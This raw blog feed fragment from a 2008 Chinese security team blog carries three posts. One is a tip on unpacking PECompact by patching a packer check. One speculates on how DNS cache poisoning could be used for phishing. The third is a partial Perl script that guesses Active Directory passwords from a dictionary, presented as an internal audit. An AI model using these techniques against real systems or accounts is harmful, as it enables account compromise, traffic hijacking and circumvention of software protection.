src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>10</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7020987005106415877.post-9056026552752663121</id><published>2008-07-17T05:28:00.000-07:00</published><updated>2008-07-17T05:31:38.493-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='[Tips]'/><title type='text'>[Tips]PECompact 2.x的脱壳点滴</title><content type='html'>by void&lt;br /&gt;2008-07-17&lt;br /&gt;http://www.ph4nt0m.org&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    遇到一个程序加的是这个壳,Dump,修复IAT,不能运行.用Ollydbg跟踪到这里:&lt;br /&gt;&lt;br /&gt;&lt;div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 11px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 430px; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee; overflow: auto;"&gt;&lt;br /&gt;&lt;span style="COLOR: #000000"&gt;00406E00&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;68&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;68F04200&amp;nbsp;&amp;nbsp;&amp;nbsp;PUSH&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;42F068&amp;nbsp;;&amp;nbsp;ASCII&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;PEC2_IsPacked&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;00406E05&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;6A&amp;nbsp;FF&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;PUSH&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;-&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;1&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;00406E07&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;FF15&amp;nbsp;AC504200&amp;nbsp;CALL&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;DWORD&amp;nbsp;PTR&amp;nbsp;[4250AC]&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;00406E0D&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;A3&amp;nbsp;08AF4400&amp;nbsp;&amp;nbsp;&amp;nbsp;MOV&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;DWORD&amp;nbsp;PTR&amp;nbsp;[44AF08],EAX&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;   &lt;br /&gt;    搜索"PEC2_IsPacked",找到PECompact的官方文档,原来是壳的API Hook插件在捣鬼,把MOV [44AF08],EAX改成MOV [44AF08],1.&lt;br /&gt;    保存修改.正常运行.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7020987005106415877-9056026552752663121?l=pstgroup.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pstgroup.blogspot.com/feeds/9056026552752663121/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7020987005106415877&amp;postID=9056026552752663121' title='1 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7020987005106415877/posts/default/9056026552752663121'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7020987005106415877/posts/default/9056026552752663121'/><link rel='alternate' type='text/html' href='http://pstgroup.blogspot.com/2008/07/tipspecompact-2x.html' title='[Tips]PECompact 2.x的脱壳点滴'/><author><name>&lt;b&gt;* Ph4nt0m Security Team *&lt;/b&gt;</name><uri>http://www.blogger.com/profile/04936521202998587891</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7020987005106415877.post-5235851299117798757</id><published>2008-07-17T05:25:00.001-07:00</published><updated>2008-07-17T05:38:44.117-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='[Tips]'/><title type='text'>[Tips]DNS缓存中毒漏洞的一点推测</title><content type='html'>by 云舒&lt;br /&gt;2008-07-15&lt;br /&gt;http://www.ph4nt0m.org&lt;br /&gt;&lt;br /&gt;        今天他们在群里面说到最近的DNS缓存中毒漏洞，并且绿盟的公告中提到了一些细节性的东西，地址是http://www.nsfocus.net/vulndb/12124。因此根据公告，我稍微推测下这个漏洞的一些问题。&lt;br /&gt;&lt;br /&gt;        首先是如何攻击的推测。这个根据公告，应该能看出一些端倪。首先使用nslookup查询某个域名的权威解析服务器名称，得到其IP地址，这样就可以生成一些伪造源IP地址和DNS ID的DNS Response数据包。然后向目的DNS服务器查询目的域名，提交了查询之后，马上快速发送生成的伪造DNS Response数据包给目的服务器。让目的DNS在真实的权威DNS服务器响应到达之前，接受到恶意的应答。&lt;br /&gt;&lt;br /&gt;        但是这里有一个难点：一个大站点的域名，在攻击者请求查询的时候，基本上100%已经存在缓存了。攻击者发起DNS查询时，DNS服务器直接从缓存应答了，根本不会去请求权威域名服务器。解决这个问题，有两个办法，第一个是攻击一个生僻的域名，或者不存在的二级域名，比如说把 fuck.google.cn解析到1.2.3.4，用来钓鱼或者挂马用；第二个办法，是不停的给目的DNS服务器发送恶意的DNS Response数据包，增大碰到缓存过期需要更新数据的几率。不过这样又带来了新的问题，很可能这样的投毒，最终变成了UDP Flood了。&lt;br /&gt;&lt;br /&gt;        其次是攻击结果的推测。如果攻击一个不存在的二级域名，最终只能用来钓鱼或者挂马，但是如果能够攻击到主域名，则可以做任何事情了，比如说上海用户看到的 baidu变成了sex站点。攻击不存在的二级域名比较容易，只要知道DNS ID的可选数字就行了，一次生成足够的数据包发过去，然后就看怎么骗人访问了。想让主域名中毒，黑掉站点，那就比较难了。&lt;br /&gt;&lt;br /&gt;        看得比较随意，不知道推测的是不是对的，等等看吧。&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7020987005106415877-5235851299117798757?l=pstgroup.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pstgroup.blogspot.com/feeds/5235851299117798757/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7020987005106415877&amp;postID=5235851299117798757' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7020987005106415877/posts/default/5235851299117798757'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7020987005106415877/posts/default/5235851299117798757'/><link rel='alternate' type='text/html' href='http://pstgroup.blogspot.com/2008/07/tipsdns.html' title='[Tips]DNS缓存中毒漏洞的一点推测'/><author><name>&lt;b&gt;* Ph4nt0m Security Team *&lt;/b&gt;</name><uri>http://www.blogger.com/profile/04936521202998587891</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7020987005106415877.post-2883189504335527457</id><published>2008-07-08T19:32:00.000-07:00</published><updated>2008-07-08T19:34:12.162-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='[Tips]'/><title type='text'>[Tips]企业内部AD脆弱密码审计</title><content type='html'>by 云舒&lt;br /&gt;2008-07-09&lt;br /&gt;http://www.ph4nt0m.org&lt;br /&gt;&lt;br /&gt;        这个是前段时间做的个小脚本，没什么用，审计内部AD脆弱密码的。做这样一些简单的工作，脚本语言确实挺合适的。需要一个普通的AD账号，导出账户名，过滤掉禁用的，然后开始扫描。密码字典按照自己公司的实际情况写就好了，支持%USERNAME%123这样的格式。&lt;br /&gt;&lt;br /&gt;        脚本里面的各种参数我写死了，因为自己用，不必要敲参数。如果想要用用看，自己改就是了，perl这种东西简单的学一下的话，一个上午就够了。下午不行，这种天气下午只适合睡觉，或者吃点冰绿豆汤之类的东西，反正是不适合看代码。&lt;br /&gt;&lt;br /&gt;&lt;div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 11px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 430px; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee; overflow: auto;"&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;1&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;#&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;!/usr/bin/perl&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;2&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;3&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;use&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;warnings;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;4&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;use&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;strict;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;5&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;use&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;Win32&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;::&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;OLE;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;6&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;use&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;Data&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;::&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;Dumper;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;7&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;use&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;Authen&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;::&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;Simple&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;::&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;ActiveDirectory;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;8&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;9&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;use&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;constant&amp;nbsp;ADS_UF_ACCOUNTDISABLE&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&amp;gt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;2&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;;&lt;br&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;10&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;use&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;constant&amp;nbsp;ADS_SCOPE_SUBTREE&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&amp;gt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;2&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;;&lt;br&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;11&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;12&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;my&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800080"&gt;$server&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="FONT-WEIGHT: bold; COLOR: #000000"&gt;'&lt;/span&gt;&lt;span style="FONT-WEIGHT: bold; COLOR: #000000"&gt;bj.microsoft.com&lt;/span&gt;&lt;span style="FONT-WEIGHT: bold; COLOR: #000000"&gt;'&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;;&lt;br&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;13&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;my&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800080"&gt;$domain&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="FONT-WEIGHT: bold; COLOR: #000000"&gt;'&lt;/span&gt;&lt;span style="FONT-WEIGHT: bold; COLOR: #000000"&gt;bj.microsoft.com&lt;/span&gt;&lt;span style="FONT-WEIGHT: bold; COLOR: #000000"&gt;'&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;;&lt;br&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;14&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;my&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800080"&gt;%users&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;;&lt;br&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;15&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;my&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800080"&gt;@pwds&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;;&lt;br&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;16&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;17&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;select&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;(&amp;nbsp;STDOUT&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;18&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;|&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;1&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;;&lt;br&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;19&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;20&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;print&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="FONT-WEIGHT: bold; COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="FONT-WEIGHT: bold; COLOR: #000000"&gt;Loading&amp;nbsp;account&amp;nbsp;from&amp;nbsp;ad&lt;img src="http://www.cnitblog.com/Images/dot.gif"&gt;&lt;/span&gt;&lt;span style="FONT-WEIGHT: bold; COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;;&lt;br&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;21&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;22&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;amp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;LoadUser(&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;23&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;24&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;print&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="FONT-WEIGHT: bold; COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="FONT-WEIGHT: bold; COLOR: #000000"&gt;done!n&lt;/span&gt;&lt;span style="FONT-WEIGHT: bold; COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;;&lt;br&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;25&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;print&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;scalar&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;(&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;keys&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;(&lt;/span&gt;&lt;span style="COLOR: #800080"&gt;%users&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;))&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="FONT-WEIGHT: bold; COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="FONT-WEIGHT: bold; COLOR: #000000"&gt;&amp;nbsp;users&amp;nbsp;loaded!n&lt;/span&gt;&lt;span style="FONT-WEIGHT: bold; COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;;&lt;br&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;26&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;27&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;print&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="FONT-WEIGHT: bold; COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="FONT-WEIGHT: bold; COLOR: #000000"&gt;Loading&amp;nbsp;password&amp;nbsp;from&amp;nbsp;dic&lt;img src="http://www.cnitblog.com/Images/dot.gif"&gt;&lt;/span&gt;&lt;span style="FONT-WEIGHT: bold; COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;;&lt;br&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;28&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;amp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;LoadPwd(&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;29&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;print&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="FONT-WEIGHT: bold; COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="FONT-WEIGHT: bold; COLOR: #000000"&gt;done!n&lt;/span&gt;&lt;span style="FONT-WEIGHT: bold; COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;;&lt;br&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;30&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #800000"&gt;31&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;open&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;(&amp;nbsp;REPORT&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;,&lt;/span&gt;&lt;span 